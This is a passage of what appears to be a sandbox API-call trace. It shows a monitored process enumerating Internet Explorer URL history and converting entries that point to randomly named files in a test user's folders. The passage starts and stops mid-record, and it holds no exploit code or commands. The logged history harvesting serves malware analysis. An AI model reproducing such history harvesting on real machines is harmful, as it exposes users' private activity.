cchWideChar=93 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/Nu56E.docx\x10") returned 46 [0162.977] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0162.978] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Pictures/1NAJeYEI5Zgd1vhacr/U5XktQF9%20t5rq%20b7pTRL.jpg", cchWideChar=82, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Pictures/1NAJeYEI5Zgd1vhacr/U5XktQF9%20t5rq%20b7pTRL.jpgvhacr/U5XktQF9%20t5rq%20b7pTRL.jpg", lpUsedDefaultChar=0x0) returned 82 [0162.978] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0248f0, cbMultiByte=82, lpWideCharStr=0x1fcf0d24, cchWideChar=165 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Pictures/1NAJeYEI5Zgd1vhacr/U5XktQF9%20t5rq%20b7pTRL.jpg¬") returned 82 [0162.978] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0162.978] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Pictures/1NAJeYEI5Zgd1vhacr/WvLHhy%20x3ETy9kM/CBxMNcpz16Eol3zD/n6HrghC/fn7_Is.bmp", cchWideChar=107, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Pictures/1NAJeYEI5Zgd1vhacr/WvLHhy%20x3ETy9kM/CBxMNcpz16Eol3zD/n6HrghC/fn7_Is.bmpBxMNcpz16Eol3zD/n6HrghC/fn7_Is.bmp", lpUsedDefaultChar=0x0) returned 107 [0162.978] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f024984, cbMultiByte=107, lpWideCharStr=0x1fcf188c, cchWideChar=215 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Pictures/1NAJeYEI5Zgd1vhacr/WvLHhy%20x3ETy9kM/CBxMNcpz16Eol3zD/n6HrghC/fn7_Is.bmp") returned 107 [0162.979] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0162.979] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Pictures/yPUabrwg/71lv8i56MUD8.bmp", cchWideChar=60, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Pictures/yPUabrwg/71lv8i56MUD8.bmpPictures/yPUabrwg/71lv8i56MUD8.bmp", lpUsedDefaultChar=0x0) returned 60 [0162.979] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f024a34, cbMultiByte=60, lpWideCharStr=0x1f024a78, cchWideChar=121 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Pictures/yPUabrwg/71lv8i56MUD8.bmp\x1c⤀열AࢨṾ㔈") returned 60 [0162.979] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0162.979] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/AppData/Roaming/1vYR-fYVovPO_y_y%202vM.gif", cchWideChar=68, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/AppData/Roaming/1vYR-fYVovPO_y_y%202vM.gifRoaming/1vYR-fYVovPO_y_y%202vM.gif", lpUsedDefaultChar=0x0) returned 68 [0162.979] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f024b3c, cbMultiByte=68, lpWideCharStr=0x1f024b88, cchWideChar=137 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/AppData/Roaming/1vYR-fYVovPO_y_y%202vM.gif\x1cἀ열AࢨṾ㏨") returned 68 [0162.979] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0162.980] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/z8Q_yDu1jaODNbm6Rg/uhxF0nw/3wiKno2U6/pJ7gfz26aTbR8h.odt", cchWideChar=91, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Documents/z8Q_yDu1jaODNbm6Rg/uhxF0nw/3wiKno2U6/pJ7gfz26aTbR8h.odtxF0nw/3wiKno2U6/pJ7gfz26aTbR8h.odt", lpUsedDefaultChar=0x0) returned 91 [0162.980] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0247f4, cbMultiByte=91, lpWideCharStr=0x1fcf10ac, cchWideChar=183 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/z8Q_yDu1jaODNbm6Rg/uhxF0nw/3wiKno2U6/pJ7gfz26aTbR8h.odt") returned 91 [0162.980] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0162.980] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/_Lw_Ioi_qC44f0vdNG/ijOAKD8twv-N.odp", cchWideChar=71, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Documents/_Lw_Ioi_qC44f0vdNG/ijOAKD8twv-N.odpLw_Ioi_qC44f0vdNG/ijOAKD8twv-N.odp", lpUsedDefaultChar=0x0) returned 71 [0162.980] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f024c64, cbMultiByte=71, lpWideCharStr=0x1fcf0840, cchWideChar=143 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/_Lw_Ioi_qC44f0vdNG/ijOAKD8twv-N.odp") returned 71 [0162.980] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0162.980] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Pictures/1NAJeYEI5Zgd1vhacr/WvLHhy%20x3ETy9kM/Wc6UBoY.png", cchWideChar=83, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Pictures/1NAJeYEI5Zgd1vhacr/WvLHhy%20x3ETy9kM/Wc6UBoY.pnghacr/WvLHhy%20x3ETy9kM/Wc6UBoY.png", lpUsedDefaultChar=0x0) returned 83 [0162.980] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f024cb8, cbMultiByte=83, lpWideCharStr=0x1f024d10, cchWideChar=167 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Pictures/1NAJeYEI5Zgd1vhacr/WvLHhy%20x3ETy9kM/Wc6UBoY.png捗열AࢨṾ㉄") returned 83 [0162.981] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0162.981] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Desktop/P0Hc9z_vVr1Uxdn12a/0K3ML.docx", cchWideChar=63, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Desktop/P0Hc9z_vVr1Uxdn12a/0K3ML.docxktop/P0Hc9z_vVr1Uxdn12a/0K3ML.docx", lpUsedDefaultChar=0x0) returned 63 [0162.981] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f024e10, cbMultiByte=63, lpWideCharStr=0x1fcf0588, cchWideChar=127 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Desktop/P0Hc9z_vVr1Uxdn12a/0K3ML.docx") returned 63 [0162.981] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0162.981] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Pictures/l-sb6rmCiYZQh/mCnbxFSx%20H8LwM.jpg", cchWideChar=69, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Pictures/l-sb6rmCiYZQh/mCnbxFSx%20H8LwM.jpgl-sb6rmCiYZQh/mCnbxFSx%20H8LwM.jpg", lpUsedDefaultChar=0x0) returned 69 [0162.981] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f024e5c, cbMultiByte=69, lpWideCharStr=0x1f024af8, cchWideChar=139 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Pictures/l-sb6rmCiYZQh/mCnbxFSx%20H8LwM.jpg") returned 69 [0162.981] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0162.982] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Desktop/CY90F6twN6.gif", cchWideChar=48, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Desktop/CY90F6twN6.gifrs/aETAdzjz/Desktop/CY90F6twN6.gif", lpUsedDefaultChar=0x0) returned 48 [0162.982] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f024f04, cbMultiByte=48, lpWideCharStr=0x1f0247ec, cchWideChar=97 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Desktop/CY90F6twN6.gifh") returned 48 [0162.982] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0162.982] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/AppData/Roaming/Mg5zkU.png", cchWideChar=52, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/AppData/Roaming/Mg5zkU.pngETAdzjz/AppData/Roaming/Mg5zkU.png", lpUsedDefaultChar=0x0) returned 52 [0162.982] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f024f9c, cbMultiByte=52, lpWideCharStr=0x1f024fd8, cchWideChar=105 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/AppData/Roaming/Mg5zkU.png瑳浩열AࢨṾ⾸") returned 52 [0162.982] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0162.982] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Desktop/rPTlTFBkx.bmp", cchWideChar=47, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Desktop/rPTlTFBkx.bmpers/aETAdzjz/Desktop/rPTlTFBkx.bmp", lpUsedDefaultChar=0x0) returned 47 [0162.982] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0250ac, cbMultiByte=47, lpWideCharStr=0x1f0250e0, cchWideChar=95 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Desktop/rPTlTFBkx.bmp浩열AࢨṾ⺼") returned 47 [0162.983] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0162.983] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/Ltf_L.xlsx", cchWideChar=46, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Documents/Ltf_L.xlsxsers/aETAdzjz/Documents/Ltf_L.xlsx", lpUsedDefaultChar=0x0) returned 46 [0162.983] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0251ac, cbMultiByte=46, lpWideCharStr=0x1f0251e0, cchWideChar=93 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/Ltf_L.xlsx瑡彥열AࢨṾⶼ") returned 46 [0162.983] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0162.985] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/z8Q_yDu1jaODNbm6Rg/uhxF0nw/8O4HGEn56P/jcl%205WEXLH_.ots", cchWideChar=91, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Documents/z8Q_yDu1jaODNbm6Rg/uhxF0nw/8O4HGEn56P/jcl%205WEXLH_.otsxF0nw/8O4HGEn56P/jcl%205WEXLH_.ots", lpUsedDefaultChar=0x0) returned 91 [0162.986] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0252b0, cbMultiByte=91, lpWideCharStr=0x1f025310, cchWideChar=183 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/z8Q_yDu1jaODNbm6Rg/uhxF0nw/8O4HGEn56P/jcl%205WEXLH_.ots楴열AࢨṾⰴ") returned 91 [0162.986] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0162.990] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Pictures/1NAJeYEI5Zgd1vhacr/BgIqfmu9E21jRnw8M.bmp", cchWideChar=75, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Pictures/1NAJeYEI5Zgd1vhacr/BgIqfmu9E21jRnw8M.bmpEI5Zgd1vhacr/BgIqfmu9E21jRnw8M.bmp", lpUsedDefaultChar=0x0) returned 75 [0162.991] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f02543c, cbMultiByte=75, lpWideCharStr=0x1fcf09d0, cchWideChar=151 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Pictures/1NAJeYEI5Zgd1vhacr/BgIqfmu9E21jRnw8M.bmp") returned 75 [0162.991] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0162.992] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Pictures/1NAJeYEI5Zgd1vhacr/WvLHhy%20x3ETy9kM/CBxMNcpz16Eol3zD/n6HrghC/dpJrnXk9Vtx4RPqD.gif", cchWideChar=117, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Pictures/1NAJeYEI5Zgd1vhacr/WvLHhy%20x3ETy9kM/CBxMNcpz16Eol3zD/n6HrghC/dpJrnXk9Vtx4RPqD.gif", lpUsedDefaultChar=0x0) returned 117 [0162.992] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f025500, cbMultiByte=117, lpWideCharStr=0x1fcf1dfc, cchWideChar=235 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Pictures/1NAJeYEI5Zgd1vhacr/WvLHhy%20x3ETy9kM/CBxMNcpz16Eol3zD/n6HrghC/dpJrnXk9Vtx4RPqD.gif") returned 117 [0162.992] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0162.993] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/_Lw_Ioi_qC44f0vdNG/hmED.odp", cchWideChar=63, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Documents/_Lw_Ioi_qC44f0vdNG/hmED.odpuments/_Lw_Ioi_qC44f0vdNG/hmED.odp", lpUsedDefaultChar=0x0) returned 63 [0162.993] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0255f4, cbMultiByte=63, lpWideCharStr=0x1f025638, cchWideChar=127 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/_Lw_Ioi_qC44f0vdNG/hmED.odp") returned 63 [0162.994] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0162.994] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/AppData/Roaming/y4KqlP3nPQ.ots", cchWideChar=56, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/AppData/Roaming/y4KqlP3nPQ.otszjz/AppData/Roaming/y4KqlP3nPQ.ots", lpUsedDefaultChar=0x0) returned 56 [0162.995] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f0244fc, cbMultiByte=56, lpWideCharStr=0x1f025730, cchWideChar=113 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/AppData/Roaming/y4KqlP3nPQ.ots") returned 56 [0162.995] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.015] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/AppData/Roaming/TdE_9.doc", cchWideChar=51, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/AppData/Roaming/TdE_9.docaETAdzjz/AppData/Roaming/TdE_9.doc", lpUsedDefaultChar=0x0) returned 51 [0163.016] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f025828, cbMultiByte=51, lpWideCharStr=0x1f025860, cchWideChar=103 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/AppData/Roaming/TdE_9.doc攀열AࢨṾ✴") returned 51 [0163.016] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.016] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/z8Q_yDu1jaODNbm6Rg/uhxF0nw/8O4HGEn56P/ypiWd.ots", cchWideChar=83, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Documents/z8Q_yDu1jaODNbm6Rg/uhxF0nw/8O4HGEn56P/ypiWd.otsbm6Rg/uhxF0nw/8O4HGEn56P/ypiWd.ots", lpUsedDefaultChar=0x0) returned 83 [0163.016] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f025950, cbMultiByte=83, lpWideCharStr=0x1f0259a8, cchWideChar=167 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/z8Q_yDu1jaODNbm6Rg/uhxF0nw/8O4HGEn56P/ypiWd.ots㘀열AࢨṾ▬") returned 83 [0163.017] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.017] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/_Lw_Ioi_qC44f0vdNG/j_vbx.csv", cchWideChar=64, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Documents/_Lw_Ioi_qC44f0vdNG/j_vbx.csvments/_Lw_Ioi_qC44f0vdNG/j_vbx.csv", lpUsedDefaultChar=0x0) returned 64 [0163.017] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf0028, cbMultiByte=64, lpWideCharStr=0x1f025ad4, cchWideChar=129 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/_Lw_Ioi_qC44f0vdNG/j_vbx.csv") returned 64 [0163.017] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.017] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/fqs7LNS.xlsx", cchWideChar=48, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Documents/fqs7LNS.xlsxrs/aETAdzjz/Documents/fqs7LNS.xlsx", lpUsedDefaultChar=0x0) returned 48 [0163.017] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f025be8, cbMultiByte=48, lpWideCharStr=0x1f025c20, cchWideChar=97 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/fqs7LNS.xlsx灩敨열AࢨṾ⍸") returned 48 [0163.017] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.018] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Videos/xq36g/9SO-JbDvwSwuUNLi6Z.flv", cchWideChar=61, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Videos/xq36g/9SO-JbDvwSwuUNLi6Z.flvideos/xq36g/9SO-JbDvwSwuUNLi6Z.flv", lpUsedDefaultChar=0x0) returned 61 [0163.018] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f025d18, cbMultiByte=61, lpWideCharStr=0x1f025a54, cchWideChar=123 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Videos/xq36g/9SO-JbDvwSwuUNLi6Z.flv") returned 61 [0163.018] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.018] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/AppData/Roaming/txyS447T.odt", cchWideChar=54, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/AppData/Roaming/txyS447T.odtAdzjz/AppData/Roaming/txyS447T.odt", lpUsedDefaultChar=0x0) returned 54 [0163.018] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f025d64, cbMultiByte=54, lpWideCharStr=0x1f0256bc, cchWideChar=109 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/AppData/Roaming/txyS447T.odtt") returned 54 [0163.018] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.018] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Videos/xq36g/ADZfCUNNpk76gYBHuh/4hM7R3N1XrgUw8Xh_Fgg.mkv", cchWideChar=82, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/aETAdzjz/Videos/xq36g/ADZfCUNNpk76gYBHuh/4hM7R3N1XrgUw8Xh_Fgg.mkvk76gYBHuh/4hM7R3N1XrgUw8Xh_Fgg.mkv", lpUsedDefaultChar=0x0) returned 82 [0163.018] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f025e38, cbMultiByte=82, lpWideCharStr=0x1f025e90, cchWideChar=165 | out: lpWideCharStr="file:///C:/Users/aETAdzjz/Videos/xq36g/ADZfCUNNpk76gYBHuh/4hM7R3N1XrgUw8Xh_Fgg.mkv‘䞘열AࢨṾ⃄") returned 82 [0163.018] IEnumSTATURL:Next (in: This=0x1e2a39f8, celt=0x1, rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1 | out: rgelt=0x1e7dfbe4, pceltFetched=0x1e7dfc10*=0x1) returned 0x0 [0163.019] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/aETAdzjz/Documents/z8Q_yDu1jaODNbm6Rg/7hCRqlfD-iyUCiLmVFAD.pptx", cchWideChar=80, lpMultiByteStr=0x1e7debb4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 